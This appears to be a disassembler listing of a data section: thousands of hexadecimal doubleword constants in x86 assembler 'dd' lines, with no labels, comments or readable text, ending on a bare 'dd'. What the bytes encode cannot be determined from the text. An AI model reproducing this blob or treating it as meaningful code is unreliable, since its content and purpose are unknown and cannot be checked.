dd 351094B3h, 157453C9h, 8D31B50Fh, 1A7EF20Eh, 0B906CC00h dd 5C2E53BFh, 50021B7h, 0DFD3272Bh, 0BD890F4Ch, 0DC203213h dd 58950A01h, 0A44828C4h, 2042C748h, 90BE2230h, 24A3E822h dd 0F57821ABh, 1196F211h, 1F11A56Dh, 0F4EF11DEh, 0DA100612h dd 8438970h, 0FA2C4497h, 0F1231084h, 3CF7282Ah, 2E50F450h dd 0EBE514A0h, 80D2DB88h, 5D71FF63h, 199A7400h, 0ED5C3C51h dd 0E591000Ch, 0D5D67FC0h, 54007053h, 750AD4F2h, 0C68C23h dd 5AD8B48Ah, 1EEFFD0Eh, 0E62A0200h, 286A6F8Dh, 1FB7000Dh dd 9221C46Eh, 2409FE77h, 808023D3h, 0FAF13616h, 0A1380FECh dd 9660A6F4h, 0F04D028Ch, 7E0022ECh, 9FFDF94h, 0EE6ECE62h dd 78B8ECh, 6DB8DA34h, 8A13F860h, 1DACFB38h, 0E140CCEEh dd 0DC264A0Dh, 20510053h, 63502B55h, 8800B3D8h, 6F41CB29h dd 7680B7Eh, 0DDCCF32Ch, 2861207Bh, 150039E0h, 5688CB14h dd 269EB65Ch, 41AE57h, 0E21155FBh, 0FF1F3181h, 0D6803BA1h dd 0E51C79A8h, 0B3B80097h, 465206F1h, 150C346Dh, 488F8D22h dd 18471FD0h, 114D8050h, 8CF73A89h, 0AE396338h, 0FA00415Fh dd 0B506AF80h, 73A6007Ch, 4084EB33h, 0C100E162h, 96D035B4h dd 3A301875h, 6880F719h, 7208CC64h, 0D100AAD8h, 0DF1A95A8h dd 446692h, 3A6DF063h, 0F7B9F1B4h, 580041E4h, 7A4AA648h dd 28D18943h, 0E46F95h, 4693A3D7h, 77629C28h, 0FA1D0D1Fh dd 0F71C1200h, 1F346ECBh, 0C10E5ED1h, 5F7A82C9h, 97DBF02Eh dd 0DB74800h, 0AC3F96A8h, 0F24F1F0Eh, 0B04D4328h, 0B1E8FFA2h dd 0C7FA515Dh, 0C167BA00h, 0E1FE99C0h, 4C211DF8h, 0A4AB8073h dd 9FB10D66h, 28B39100h, 776D063Ah, 0D89E0287h, 2E7C46C5h dd 0C0537CE0h, 7BF34301h, 0E4394169h, 7D5E9670h, 321E28D3h dd 4FCB00DCh, 475B2F21h, 58007783h, 0F648086Ch, 9144B9h dd 0D7A2E93Dh, 1314BB0h, 4AE8225Fh, 0DF816B3Ah, 0D6E0F571h dd 0DBB4F49Dh, 0ADD4C200h, 4B3D328h, 0EFC60E83h, 57E05D50h dd 43861554h, 2D991D00h, 3722E445h, 83F6E12Ah, 0B97A809Ch dd 0CDE03DE2h, 825A38B3h, 77EF3100h, 6571A4B1h, 9EE83200h dd 0DE399489h, 0E8C7F88h, 1BCA100Ch, 0E83E8040h, 961F49DDh dd 33811295h, 0B1226FD1h, 34BBF8h, 0E4ECBC6Eh, 92810C61h dd 0DDA2E300h, 86D3F62Dh, 4AB0384h, 0CE5C21F9h, 60F7DF0h dd 0A7DD6516h, 9E1E7500h, 719BFC3Eh, 0E2100030h, 0D4CA64B2h dd 0BF724B19h, 0A01F4001h, 0C9D7F3Dh, 901DE840h, 0E24600C8h dd 0F1672CF4h, 81121180h, 64407E87h, 2FC81AC3h, 0D27F0441h dd 80848A6Ch, 0FA65F84h, 64715800h, 4BEE8154h, 0C01F3069h dd 0CB945EC8h, 4E3F66EAh, 73B48346h, 802B87CFh, 0AE01807h dd 0D56263BCh, 4EA807AEh, 0C739309Ah, 5F7C2AACh, 99E52105h dd 900F6D36h, 64FB80BEh, 14063C5h, 56126A8Dh, 806CBD9Eh dd 26E80520h, 0B8C5FDD1h, 200700BDh, 17B84E9Ah, 823A5751h dd 44A999D8h, 91D7E951h, 77306474h, 2349038Ch, 6396764Ah dd 0A6C12A90h, 3C5D3200h, 0F5437253h, 6621002Ch, 0A5A7F293h dd 5F06F1AEh, 0E5B38B22h, 0C5733EAEh, 7FA47800h, 0C43C6AF7h dd 0D46ECC07h, 27089D3h, 3C25318Bh, 50801E75h, 0CCDFF67Ch dd 6C0B12F1h, 8013693Ah, 6329D148h, 2A2D2A45h, 657004E8h dd 0C0CAFABDh, 55276EAEh, 0B0125C1Ch, 796413C0h, 3E0E43B4h dd 3D3E76F3h, 226FC00h, 0A9035650h, 0A54F3202h, 0C0E0DDFFh dd 0B163F0h, 39CACE07h, 0B23346AEh, 79F23Ah, 0CBB332D9h dd 0BE74DAh, 38DDCAFCh, 5209B5EDh, 0AB2CDB00h, 0DCFF8F3Eh dd 489488Eh, 8B925B05h, 78B5B070h, 6547E900h, 77F0BC13h dd 0C79B0022h, 4A518A40h, 7000607Dh, 0FA5783B3h, 1C140Bh dd 0D15E37C3h, 92645387h, 34AC9D12h, 0DBC0041Eh, 660221B9h dd 8D7B003Bh, 0EFA0121Ch, 0F400A4A2h, 2CC45A63h, 70A13E6h dd 387E16ACh, 5622E49h, 2E408E1Bh, 0C3263ACEh, 6B80ECE3h dd 0A819FE5Ah, 0CFEB0786h, 0D3EAAF27h, 2000E434h, 4F6BAEBCh dd 4C24E65Eh, 3E0049D9h, 75A8A622h, 0C00539Bh, 0C599F5B7h dd 0FA37616h, 98221982h, 88D0B100h, 280090C8h, 752B9A06h dd 0EAA621h, 4FB76E5Dh, 8D98CBC9h, 0E73A4716h, 7E017DBCh dd 0ED16CD09h, 0E589D8B9h, 6E0E7C98h, 7403CB9Eh, 0EBD500DDh dd 59128FF7h, 497C0E3Ah, 84207457h, 65908046h, 0F1ABCE1Ch dd 0D15B8BC0h, 1DACD6C0h, 0DCC4B769h, 0AE64C009h, 0BDE9D80Ch dd 44F14B00h, 0B3CEE29Ch, 1C8E0034h, 50AD7ACFh, 9F303187h dd 6903402Fh, 8DF10002h, 0CD44775Fh, 6C982651h, 0C090754Ch dd 6ED97ACCh, 59D60064h, 676F2E0Ch, 0DE052188h, 61CAFE8Ch dd 5DFAE840h, 189D776Bh, 0E44AB58h, 0F2E2B702h, 0F3AF6100h dd 244812DAh, 0FAE865h, 5A1583EEh, 0AF91F3Ch, 0D1876002h dd 48C8B72Eh, 3DBA43h, 0EEDDB870h, 35AC1F1Bh, 37E11007h dd 31302AB5h, 1E39EA54h, 0C0DF5CE8h, 69C74AAAh, 1E1CB1B0h dd 318052C2h, 0AC28204Dh, 91850084h, 3AF50983h, 71006548h dd 40DA8762h, 23110ABh, 0BEFD3449h, 0A9E0F0CBh, 0C8003B8Dh dd 6FB716FBh, 7E0DE20h, 1D89B674h, 8A26E0EAh, 0F7138B21h dd 3C017194h, 7B1A8F1Ch, 9CD032B9h, 0BFB40537h, 4008C46Ch dd 380E8094h, 0F5002843h, 326B642Eh, 0C7990125h, 304C3321h dd 387446A3h, 6302D9B0h, 769A5AADh, 3A906081h, 0C0F6B0h dd 75C41349h, 0C68D74D9h, 3E5BD000h, 2EF73098h, 0E09087h dd 506DF2BBh, 6535C6CAh, 452AE21Eh, 0D7D69C80h, 0E2A07B02h dd 0E9F66Ah, 51D0805Eh, 0ABDD4CE6h, 0A33DFA00h, 67F1BBD5h dd 7144048Ch, 135CCF6h, 1FBE3B7Eh, 2424C434h, 2E66AD7h dd 9DF91E73h, 294543E0h, 0D1F6FA00h, 5309D443h, 0D91000EFh dd 24DBAE62h, 9CA045C2h, 0D626BA4Bh, 6C41049Bh, 0C08B8C70h dd 0EC906449h, 0B3B82880h, 3A7E1F00h, 0FD994BC6h, 0B15900BAh dd 8D0C9E5Ah, 4E001E32h, 62B93006h, 75711B92h, 0FA70FFDh dd 73C0ECB7h, 6B34DB66h, 98F35500h, 60B6C40Bh, 0BB7202F4h dd 0E692CD4Bh, 0F4391FC9h, 5198118Ch, 773C610Eh, 0F7B127A6h dd 0A894EC20h, 9C9200BFh, 729DC711h, 6400203Bh, 33A3371Ah dd 1C4526h, 0E38A9FE8h, 0A714C2Dh, 58DBCC24h, 8F8FB83Dh dd 40D8F336h, 3AF947E7h dd 3D7700B9h, 6B939461h, 13004BC9h, 0F37FB2CDh, 0BFDA89h dd 0E9021762h, 354D5FBAh, 55E3A101h, 30701645h, 0F8C06E00h dd 6400464Ah, 79570B4Ah, 8AB50FA3h, 7560EC5h, 400C8C70h dd 11D9030Ah, 58840400h, 10B816DCh, 37F43950h, 0D4496480h dd 71E341A1h, 4F34C8A0h, 3C05E617h, 0DD7B6C40h, 7D904BAh dd 916DF07Ch, 0CEDAC033h, 0D50F3753h, 1EB252EFh, 3895C283h dd 0CAA9E344h, 7740409Dh, 0B0275F2h, 63573F76h, 1420C02Bh dd 0EB072241h, 85AEA205h, 0ECC02D5Eh, 1237B2F5h, 4E0F0942h dd 2BA07184h, 2760DC13h, 4363D104h, 0B4C0D8ADh, 70DF3Bh dd 92164BE0h, 1FBCD41Dh, 6E6F800h, 382DC15Ah, 0A0C700B1h dd 92D285FBh, 0C400FF80h, 0BC3B12DBh, 5C2751E5h, 1D3983F8h dd 9E3E7FDh, 3493B488h, 51E60048h, 20C35A07h, 0D5F5FDBFh dd 0E05D44D3h, 5CC4178Fh, 77CD187h, 1216FD9Bh, 6B68D011h dd 0ACA0923Eh, 0DA0507DFh, 0C29653DDh, 0D164A833h, 519EF5D6h dd 0B8E6807Dh, 0E3598134h, 3C78BC03h, 884339D5h, 48143EA5h dd 5500525Bh, 89A365DBh, 21394B85h, 15421EF7h, 4D1367C0h dd 1EFAD71h, 52ED9BBAh, 60A8985Dh, 0B701BDD6h, 75A0BF43h dd 0A0B85BA1h, 8536190Ch, 0FA28B3A8h, 6800E496h, 4F0280E8h dd 16D41BADh, 4AA23Dh, 9B24891h, 5800C561h, 2F4BC728h dd 0DE9C2395h, 0A8264080h, 7AAC641Eh, 3FA4B514h, 0A31605F8h dd 0ECD81FA1h, 342C02F7h, 62CBF65Bh, 0DDA38880h, 0BB038F0Bh dd 0BC381078h, 6355B8C8h, 0EF4F01C5h, 58945C4Bh, 30C38D9h dd 5EC67391h, 1CBBC0DFh, 384D267Ch, 0A0B380E4h, 0EF24C2C4h dd 0B2DA10C0h, 28136B3Ch, 1CA02CF9h, 80EA7CE2h, 197EE7B5h dd 0BF07013Eh, 17D99D8Ah, 5022D40h, 33770045h, 72E81642h dd 309CD4BFh, 229B6300h, 24B8FB97h, 64A1C6h, 0B4C28B23h dd 6700DDA2h, 33731572h, 2C2863BCh, 7C02E0Bh, 600DCE14h dd 6089A924h, 0DC712C71h, 0BB350200h, 82A5064Dh, 0A2840087h dd 522539C3h, 3748B67Dh, 0FB8A00D8h, 0F24E9EAEh, 5DD6001Ah dd 0D405A5Fh, 1E4CCFB7h, 0EECE012Dh, 1B55712Fh, 0EF59EC4h dd 0EF2BDAF9h, 11668C20h, 3400FD94h, 0A8F0E37Eh, 3CE9ECBEh dd 0A980965Ch, 0CCB1FBBAh, 9F90A2B3h, 0ABF5C200h, 963B5CAh dd 28EB7D9Ah, 0E7434Ah, 0DEACC037h, 975FFC94h, 0E02B4825h dd 63054F5h, 45C5626Eh, 5604F823h, 5537DA35h, 41A58880h dd 7C6A482Fh, 85185F02h, 0B4C896F9h, 3E3A8D1Eh, 0ACD1002Bh dd 8B994D15h, 0C38A0161h, 0EFBA3127h, 0AA83C05Dh, 6024D32Fh dd 2CA2E70h, 77F3F81h, 0EBC00829h, 6D03B1C6h, 0B8C7E186h dd 0C8A7B3C5h, 0F0083145h, 0C90C008Dh, 2E58CBEBh, 3E765EC2h dd 0BFD80412h, 782B8845h, 0F7BDC680h, 535500F0h, 4C63369Ah dd 0F2070786h, 1AEFD69Bh, 1F0BF410h, 0D56209C0h, 185ECDC7h dd 0EBA0E201h, 33C99701h, 484327DCh, 0E0E883Bh, 30562E6Bh dd 0C0F69CB0h, 71BC4B01h, 1F17CA5Eh, 6951F4h, 9E1AB09Ah dd 0D460EA03h, 99728892h, 3C2CF473h, 4601FB72h, 0E80935D7h dd 1074C1C9h, 0E28A15DFh, 8F25C067h, 0F8F7ACB1h, 7F030F47h dd 8199B642h, 0D5F680F0h, 9F1F265Eh, 53BC0C30h, 1C026D48h dd 48E54D92h, 2DDCA018h, 0B829ED4Fh, 9932F294h, 0DA4C0E98h dd 72B91260h, 0EA055898h, 34D1D2Bh, 9F706C87h, 482C29E2h dd 7D02E8E4h, 0D75E2649h, 0B0D500E8h, 98210F2Eh, 0E967B48Eh dd 0DB0CE051h, 7A1200ABh, 0E99B292Ah, 6003C7A7h, 88C98C2Bh dd 49A6D094h, 58AC16DBh, 151B01F5h, 0C7BB2917h, 169D2AE8h dd 0AB66D717h, 28DF8C00h, 4C063C69h, 23006EB0h, 0C4555D7Ah dd 52B0AA07h, 71D3A700h, 38821983h, 544B02E5h, 5BD217C5h dd 3CF871h, 883D7E87h, 7D0492B9h, 9C3100FBh, 4043772Bh dd 0DE601BF6h, 0FDCEDBBAh, 0BAD3007Ah, 0E88B9A66h, 10B0503h dd 3D8826h, 2B7BEDF0h, 0A2BF0537h, 0DFB43Eh, 0D75DB7C0h dd 3000E04Dh, 0D15F9F34h, 5CFB042h, 92BA996h, 87F480D0h dd 0C80ABA76h, 0C8E2F1EAh, 90D2BF1Fh, 7CB5E500h, 1C704D38h dd 300EBBDCh, 0F0289670h, 0C52628BAh, 480E80BCh, 8F644B77h dd 0ABD625E4h, 160364A0h, 423593FDh, 0A8AFBD58h, 308FD5C1h dd 9FEC407Ah, 32B5300h, 0D06DEF39h, 1917429h, 4A14953Eh dd 81EAA773h, 62D9256Eh, 54245627h, 5749000Ch, 0FF2D269Ah dd 0E89C1923h, 0D300F516h, 9CCFE211h, 0CDDE00F3h, 0FD10ACD6h dd 0A3004429h, 0E946CBAh, 2421348h, 0A7B3CDDAh, 9C6226D1h dd 90360C48h, 0C4687F62h, 0B0C05A47h, 659500DBh, 0E4D5DBEBh dd 5C00CB1Eh, 3CF1E999h, 3F9DD6B2h, 2809CC8h, 56F3F47Dh dd 0ED1CB152h, 0A9800A01h, 0D2C825AAh, 0F9B00073h, 476EB2A8h dd 2E021CDEh, 0B7B32D97h, 2CCD296h, 70830436h, 0F4839B75h dd 0DEB0E165h, 4302370Eh, 883EA13Dh, 57DCC042h, 0EC8400A0h dd 2E32EC3h, 5F001B8Eh, 6C13B58Bh, 9B740Eh, 506A4E8Fh dd 571F0565h, 113D4A1Ch, 3712BFC0h, 0E40248Ah, 1EAC0A9Eh dd 0E9EADA60h, 0CB000D45h, 476B1250h, 0B5C466h, 0ACA27889h dd 0E4AD69Fh, 75005278h, 23D5D4C3h, 6F0F74h, 0F9EE5527h dd 64135BA4h, 0BA7B2200h, 21BCFCF5h, 3EBEE628h, 7503D5A1h dd 4C731293h, 1635FAB0h, 94022300h, 30D47234h, 0B59500B0h dd 0A75150E6h, 0B8B4FD07h, 0C0441009h, 86E24Ch, 6E9979C9h dd 5F6130A4h, 81CB5B3Bh, 423C81DFh, 0F440599Ah, 0EA97945h dd 7A35D0B1h, 551A75C2h, 58C09904h, 36E277h, 0CB3F8C8h dd 181BCE0h, 86ED3F09h, 877C0102h, 58C431FBh, 0C20C0220h dd 1C4EB510h, 9C727848h, 2F81541Ch, 2943A6C4h, 3BC07C80h dd 0A780001Eh, 31E7016Ch, 9F00D711h, 244592F2h, 0C049D1FAh dd 0D22989B0h, 7E000886h, 0D1D43EEh, 21B4B6h, 1C4D1611h dd 271E02A2h, 0F47AD600h, 0E96A3A4Fh, 7FEECC7h, 5E2DE072h dd 607543C3h, 80FBD839h, 64E449ABh, 343EB28h, 0B3AC4685h dd 3DC88D9Ah, 8BE01504h, 0CCDE8205h, 0B603F81Eh, 987FBB55h dd 99C3C5h, 44593C80h, 2196FE3h, 22000498h, 0C40AC18h dd 0E3C5FCEh, 0BA10BECCh, 0A6E363A0h, 0DD27F659h, 0A02C8F01h dd 7E057F47h, 4346120Bh, 0B0E4C76Bh, 0CE21B545h, 0F1ED1100h dd 7C8B01E1h, 0CB3D00E2h, 0B18A1C81h, 0DAE4E0C8h, 0D2B0EE7Bh dd 9D71FBE4h, 0F832CF00h, 4DB285D6h, 415CB23Bh, 44B8D7FDh dd 0FE2861C1h, 464AC436h, 588058C2h, 0B3B401D8h, 0F4D1A2B6h dd 0BADFD8E4h, 0CD86F03h, 0E0C52274h, 3773F92h, 0E65598Ah dd 2EA0F1AAh, 0DC001CB6h, 7B38C12Ah, 7C5B8050h, 0FD540087h dd 42B3731h, 0AF032898h, 0DC18DE36h, 9406F081h, 84401D91h dd 0BB003B23h, 9D8FBAA0h, 6A48BDA8h, 0D10E0700h, 55B07EAAh dd 0EE4DF5h, 2DB3CEFEh, 98F4D789h, 7CB89717h, 9ADCD00h dd 5C2B5Dh, 333B3F17h, 646EA8BCh, 0DC57F400h, 656F7E8Bh dd 83281753h, 492704FCh, 0DF75C2BAh, 0C76E948Fh, 9E16E8E3h dd 4550D2F0h, 6E7B75E4h, 0F58AF300h, 689144C1h, 93E0094h dd 0FE35F9FAh, 53030A23h, 0D8886D39h, 83DC9125h, 2B54CFCh dd 6CB3D32Ah, 0B8F2BD5Eh, 0C25B2407h, 8D702251h, 98122EA0h dd 0DE5C00BAh, 2486D781h, 0C019057h, 108C5D62h, 583840B8h dd 2FEECD80h, 0E50002DAh, 22C6B547h, 58D538E2h, 0ED0074EFh dd 0E83F2425h, 3A00FBF7h dd 0A1338640h, 1D52615Fh, 0C0679806h, 8BFA289Ah, 297544CBh dd 59CA752Ch, 9869D503h, 0E739D019h, 7EC0C468h, 5F88863h dd 7F759600h, 693DA8C7h, 67A0000Ah, 80AB04E2h, 0AE0103FCh dd 7698E385h, 6CD461F7h, 0CC4400ECh, 2AEDC2A3h, 8A000134h dd 0B1895782h, 0FA28B381h, 0D2880302h, 0C72BB662h, 5A85D5h dd 6E4452F6h, 3300BDD4h, 3A0E1ED2h, 2D66F8h, 0F62F127Dh dd 0CAFDC42Bh, 0E29AD50Eh, 0BF3D2155h, 4CC4C0EEh, 909AF7h dd 9B0457FFh, 461C0660h, 78005398h, 3948A6FAh, 4DD7F98Bh dd 14015C7Bh, 206808ADh, 24F47169h, 7112CE64h, 4D00539Dh dd 6A125F99h, 5CDE260h, 0C0556B6Dh, 0A20C0034h, 522713DBh dd 1100DE74h, 0E5918CA7h, 1F255D88h, 524007FAh, 0F134911Fh dd 0BEB0F73Dh, 0F305B5FFh, 24DE3F07h, 470F1002h, 0AF54485Dh dd 0BA6C0E31h, 0BE81D9A6h, 0F072ACF5h, 8DF8E9A1h, 8A3031FAh dd 0A47460C0h, 0E1960FEDh, 0D6AFF398h, 803D1EE0h, 0E400F895h dd 5EC9720Fh, 6468C08h, 5D6F426h, 5C7168DAh, 0D002661Eh dd 0B3E26C03h, 3DEB3B5h, 34558890h, 0A519EDh, 8B571B08h dd 0E001B1B7h, 5EA80283h, 2187E146h, 0F0FA4D53h, 27DA1DD5h dd 4C834300h, 0BEAA3689h, 87D54h, 53A82CF3h, 11D6A3A4h dd 8ABB6D00h, 5633DD22h, 61F20019h, 0B8AC9201h, 26B8C7BCh dd 4F99591Fh, 3480C683h, 21C0E44Ah, 0BE9B9Ah, 0C853DB7Ah dd 6BECC5F1h, 31632D00h, 48AF5425h, 0A97F00B7h, 0E891B1F4h dd 0ACE85B98h, 6972741Fh, 195E9640h, 184E67E3h, 0ACC9C6Eh dd 7700B3F0h, 9722BE1Ah, 549907h, 308E186Ah, 0B9BA476Ch dd 0D44D9001h, 0BD4B6B10h, 687BC4h, 0F5934A61h, 3762E8B1h dd 0B480E59h, 8FA77828h, 0C583A056h, 31F1C7Fh, 76201E4Ah dd 0E0F87C9Dh, 4076FB08h, 0E5C72200h, 30661873h, 76531CECh dd 8F3D8042h, 5CEF771Bh, 200C5F2h, 0E597F814h, 58E29C62h dd 5D1D1DEEh, 7B3C8023h, 2B59A72h, 98C56A01h, 21CF7865h dd 0E84C9220h, 0D6DE1F09h, 13B9C0F1h, 0A5EAEEA8h, 16453600h dd 3A959AB2h, 2BA1252h, 0F03C1182h, 0E0AE0442h, 0FE51EE4Eh dd 254A0082h, 1BE0F77Ch, 0FB313D91h, 3084282Eh, 37F424h dd 0DE574416h, 1367BFA7h, 0F83D8600h, 81565903h, 89683292h dd 0E3101228h, 834897Eh, 0FA5245E8h, 8970FD10h, 441D0810h dd 22841A6Ch, 0CC227D8Fh, 53B422D3h, 1049E622h, 21124248h dd 616708E8h, 5C2850B9h, 0A42988EBh, 60D388D2h, 2A840E90h dd 28804A45h, 88649308h, 6E004AAAh, 0CE8FB81Dh, 2EE700FDh dd 0D2120FF4h, 320ED790h, 0B9C2199h, 0ADC4008Bh, 0BB5C9Fh dd 0E0A17DCBh, 7A6465ECh, 0B3900107h, 0F0D7F691h, 0B0088480h dd 76C700B4h, 5BDB9260h, 4D00941Fh, 0F46B21FFh, 42D69Ah dd 36B4C723h, 0BA7E631Ch, 12B5B16h, 65955E00h, 0B50F59h dd 56F677F0h, 7FB13FF4h, 71693806h, 10FADBh, 8D4ACC48h dd 5EDAA1DDh, 5D257679h, 0AE54074Eh, 967426C0h, 78BD07B4h dd 30EE193Dh, 0AB3191EBh, 0F4725500h, 7B1E229h, 0AD900059h dd 0D48CA095h, 5500C5DFh, 0A2D7B09Ah, 42565E8h, 79487847h dd 0C2489354h, 30E09C81h, 0FF17A4E4h, 37003247h, 2C43F50Fh dd 0E7E5000Ah, 0B8A07425h, 6D3EC681h, 0C24A87F2h, 97508E84h dd 1E386673h, 0C08B48B3h, 25B488E9h, 0CE039E8Ch, 6230728Fh dd 3FBA9018h, 44EA3A49h, 63BE2D80h, 1E210560h, 8425A107h dd 0DE907CE5h, 0E84FBD34h, 0D6AC0079h, 0CFFBA75h, 0B600A199h dd 6D8DD163h, 42ABC9h, 85306229h, 0D6A8754Ch, 9000DAE2h dd 79BCB9BBh, 3A1C2B09h, 820E8587h, 0E7E08914h, 2E4C391Bh dd 53BEF000h, 7460A35Ch, 8BC21F49h, 97654099h, 0FB69582Dh dd 948F6F00h, 0FD070E5h, 0CFB23F38h, 0DA89F33Ch, 0D300D34Eh dd 0EDDE1997h, 8D35BA1Dh, 0BC0D7F00h, 0FAE87h, 0E913E474h dd 6B64C4CCh, 412DB405h, 9800D5CEh, 5001A94Fh, 80210085h dd 0CBAFABBCh, 6F00717Ah, 0FA70F24Bh, 1F565CC8h, 0C0157E3Dh dd 1F2B81EDh, 43018806h, 3A70752h, 7EC0ADF0h, 0EC020009h dd 0CC796468h, 426F9993h, 98826039h, 0C02DED2h, 0DF22FAB2h dd 0DC001118h, 652A444Fh, 0C4E0802Bh, 0A8A88E98h, 0E58800B0h dd 0D3E5FC2h, 0F8713F09h, 2B0A19Eh, 3D204194h, 0F3F26460h dd 922C7400h, 0C6A72847h, 0B8F0A0ABh, 4E6D00A6h, 31E2F79Dh dd 57F80B5h, 4A879700h, 98D5B09Bh, 46B7102h, 7F487973h dd 0B84C92E3h, 18D0A220h, 312E0CA6h, 94A062CDh, 0D6FFFE03h dd 0D8CC55FCh, 39B0464Eh, 0DB244F91h, 0F60B0088h, 2CA4BE84h dd 0B99F9300h, 335C3EAEh, 0B04B01DDh, 7670C35h, 0C198207Eh dd 1517C003h, 9E7C5Bh, 8FD6ED74h, 3F545E62h, 0BA2AA100h dd 1DD1B62Bh, 3A6800BEh, 0F9520BC1h, 360958A7h, 0FFFCD3h dd 237B9A3Ch, 87CC068Eh, 196C2788h, 0E548CE07h, 60204CF9h dd 35DA462h, 51F3E3C1h, 1CA09555h, 930BAF47h, 0E1A972EAh dd 0B940ACF0h, 238CE9h, 4F5D4A62h, 9E862766h, 488ECC01h dd 39496EBCh, 0AF3CC4h, 0E717CE6h, 0F74F8886h, 0E460DE03h dd 9022FF18h, 0BC452Bh, 0B50B007h, 0C412402h, 0A2CC9F02h dd 48C2833Eh, 35F600h, 5E82F7E3h, 75BCA153h, 66BB2D13h dd 1AC18467h, 483073C9h, 7C55149Eh, 0F705EBBBh, 0C5D28820h dd 0A95000D5h, 362D6DE9h, 0EA09F30Eh, 29592E9Fh, 3D880095h dd 1FD72F4Fh, 0C061A86Fh, 832467B5h, 7001B05h, 41DB142h dd 0EF41FCh, 0E712908Ch, 811776BDh, 3E389D00h, 5127D437h dd 2E94FA7Fh, 80C05539h, 0DA3C80DDh, 3497307h, 0F9D0010Ch dd 0CB53B6C2h, 76D6D8h, 0D510F638h, 1450AD9Dh, 0C93E0800h dd 0B588CF2Dh, 1C94969Fh, 0C047F43h, 0D4D61B03h, 0AD7780C8h dd 0C100663Ch, 2047546Fh, 918A050h, 5B2F3F03h, 0B560748Fh dd 0D53267FEh, 0B6ABCC00h, 0FD3B43BEh, 8A1E240Eh, 68FF0140h dd 81241FB4h, 46F24FF0h, 19CCAC75h, 7F8817C3h, 2D1C42A3h dd 80585571h, 0D797C900h, 93366BEEh, 99D9602Bh, 0EF6D44DAh dd 0BAC239h, 0AC214C5Eh, 0F02CE4h, 0C8B913DFh, 0F36963ABh dd 0BA53400h, 28C29D9Bh, 680E1ED9h, 0AD2541FDh, 30BB12A4h dd 31C6C64h, 0DD40C9B1h, 6AB627C7h, 430905E8h, 65B5A0h dd 4530D9E4h, 0C700D1CCh, 154BA367h, 1705B50h, 0D3CE4705h dd 0D4F8E165h, 730014CAh, 2413AF1h, 0B0372F2Bh, 0BCBA0F3Ah dd 0D1C07EF2h, 0AC506730h, 88B42828h, 0BF2B660Fh, 39DD00D3h dd 0A018058Ch, 0E3F8CCh, 45175863h, 76AEBD84h, 51698907h dd 232034C7h, 3F9155B2h, 0FB00AA64h, 4FD0B086h, 7200DCA3h dd 3BF6FE06h, 0FACF205Ch, 50E4901Ch, 0F9A90BDh, 4458E564h dd 78F5E0F8h, 48A8D800h, 7410BA84h, 503C02C2h, 0D20AA6CAh dd 280EB880h, 0AD1CF294h, 80BA9531h, 9D3B84D1h, 0E0D350h dd 61064EC4h, 0C8B327CEh, 0AB65A800h, 0AC1B6BA9h, 2D8100EFh dd 0EBD9F7B2h, 0A400332Ch, 0F308463Ah, 0FABAD5Eh, 65DC2169h dd 67DD2D81h, 0D4B0208Ch, 0E275D703h, 0FA2974h, 1FF77D88h dd 0C8E74E78h, 2F11600h, 0E463E844h, 6BFB3BA4h, 0B4EB3080h dd 8688B019h, 0DE7C891Bh, 0B841E010h, 0D9470098h, 0F443303h dd 0A1D9768h, 0A1006E3Eh, 41E16F17h, 5E60038h, 2BCE98C5h dd 8DE08289h, 2FA82D00h, 0F3CB812Ch, 20D30118h, 451CABC7h dd 0BC003AF5h, 16B44043h dd 9A07776h, 0AA1A8336h, 0C5600F00h, 0DA00A901h, 9E6A08D8h dd 77DC885h, 29C4A213h, 8C7C32BAh, 6E78BD60h, 0B38D241Dh dd 80B0BF89h, 65BE0C6Ch, 0F41705Eh, 0D01EB9EBh, 0A764D220h dd 94001AD9h, 6FC0AA07h, 1C87A3FEh, 8320F42Eh, 3B801447h dd 4EFC07DFh, 602BB0E0h, 4C00ACEBh, 0ABBF1C70h, 6B8C8Ah dd 0D4DBC3BAh, 0ED3DAFE3h, 1BB51901h, 0AB254F8Eh, 0A29820h dd 2938B261h, 0C09BF18Ah, 37F3CF01h, 92AD3006h, 0FC946C70h dd 6EB92C32h, 5CC500C4h, 9348F689h, 0FB7B4900h, 1A46787Fh dd 2B72008Ch, 6F5C94B0h, 0A00E2EBh, 749CF6B8h, 2AD31Eh dd 39B21A6Eh, 83B9F443h, 80736238h, 1C318878h, 61C4B4h dd 0DA436979h, 3ED5F0Bh, 0D93BE0C0h, 0F89350h, 8623A6D7h dd 150621D1h, 0DA68BA07h, 33A7B3ABh, 9EC76694h, 0FB3E83h dd 578E3E0h, 6919C056h, 9FEC810Fh, 18AFA0A5h, 0B03BBB35h dd 72A10065h, 690989E4h, 4C0EEAB4h, 444B202Dh, 0A8C0FBF6h dd 3AFFA731h, 82A8B99Ah, 471A27A0h, 23002474h, 17A6E389h dd 190C3785h, 0D3E64018h, 800CE7Ah, 24E5ADA7h, 0FE8FD775h dd 0A9B00BEh, 42170C1h, 0ECA06BB3h, 6007DF11h, 1838B93Ch dd 407A7840h, 5F7B00B6h, 0EFD3EA1Ah, 8913061Bh, 0AC419921h dd 7181B89Bh, 90B7F447h, 6036FF91h, 57E2E8h, 0F71E8BB7h dd 97F6C6A5h, 0B05EA03h, 6DD38h, 31B448E4h, 2D5535A6h dd 76739574h, 79CB650h, 1EC7C17h, 0DE0A6C40h, 205D14C2h dd 0A400DF34h, 0AAB8BD8Ch, 7923CC66h, 0F0945C84h, 0B3E27700h dd 0D95FFF52h, 0B782E800h, 0FAC3F155h, 0CADB01F5h, 8D4F7B7Fh dd 94056B7Eh, 0F080D25Ch, 2D69A405h, 600246D7h, 48511249h dd 0B83B280h, 0A3A037h, 0C0EBE2E4h, 947FBEAAh, 0E8130F14h dd 189900FEh, 5991A32Bh, 7C050007h, 93C1BD66h, 0C3001D1Bh dd 3D43E6AAh, 0EE51B08Bh, 0ACBE1DCBh, 5A198009h, 0C51B4C9Ah dd 98F4A600h, 9D361076h, 0ECEA3B8Bh, 9480C138h, 2D90F241h dd 0C034749h, 4FFAA625h, 0D0569024h, 3E171F5Eh, 5A817DCAh dd 0A2CFB3Dh, 0E7C08032h, 811F8C02h, 0C69A0033h, 0B67A07E9h dd 870010FAh, 0EA855966h, 7A6BCBEh, 74C8D613h, 8212B362h dd 0A8632105h, 0CC07926h, 0ECBF7C0Ah, 2EC605E8h, 0EDD955Ah dd 1F00979Ch, 61CA8B22h, 0A300D6EAh, 7BC3B324h, 71E2CD87h dd 0DD6B0266h, 4E254084h, 9050D4E0h, 8670CA04h, 14C017B5h dd 24436D3h, 0AFBCC03Eh, 0FF60B01Ah, 4A004F3Fh, 87CC61F3h dd 4BFA88BFh, 36DC0080h, 0D23ADFB4h, 9AA03200h, 0E24112F6h dd 